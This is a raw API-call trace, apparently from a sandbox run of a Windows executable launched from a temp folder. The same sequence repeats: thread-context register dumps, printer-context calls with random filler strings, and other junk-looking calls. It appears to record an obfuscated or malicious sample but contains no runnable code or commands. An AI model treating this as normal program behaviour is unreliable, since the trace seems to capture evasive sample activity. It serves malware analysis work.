[112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.284] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.285] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.285] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.285] GetConsoleCP () returned 0x0
	[0066.285] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.285] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.286] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.286] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.286] GetConsoleCP () returned 0x0
	[0066.286] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.286] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.287] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.287] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.287] GetConsoleCP () returned 0x0
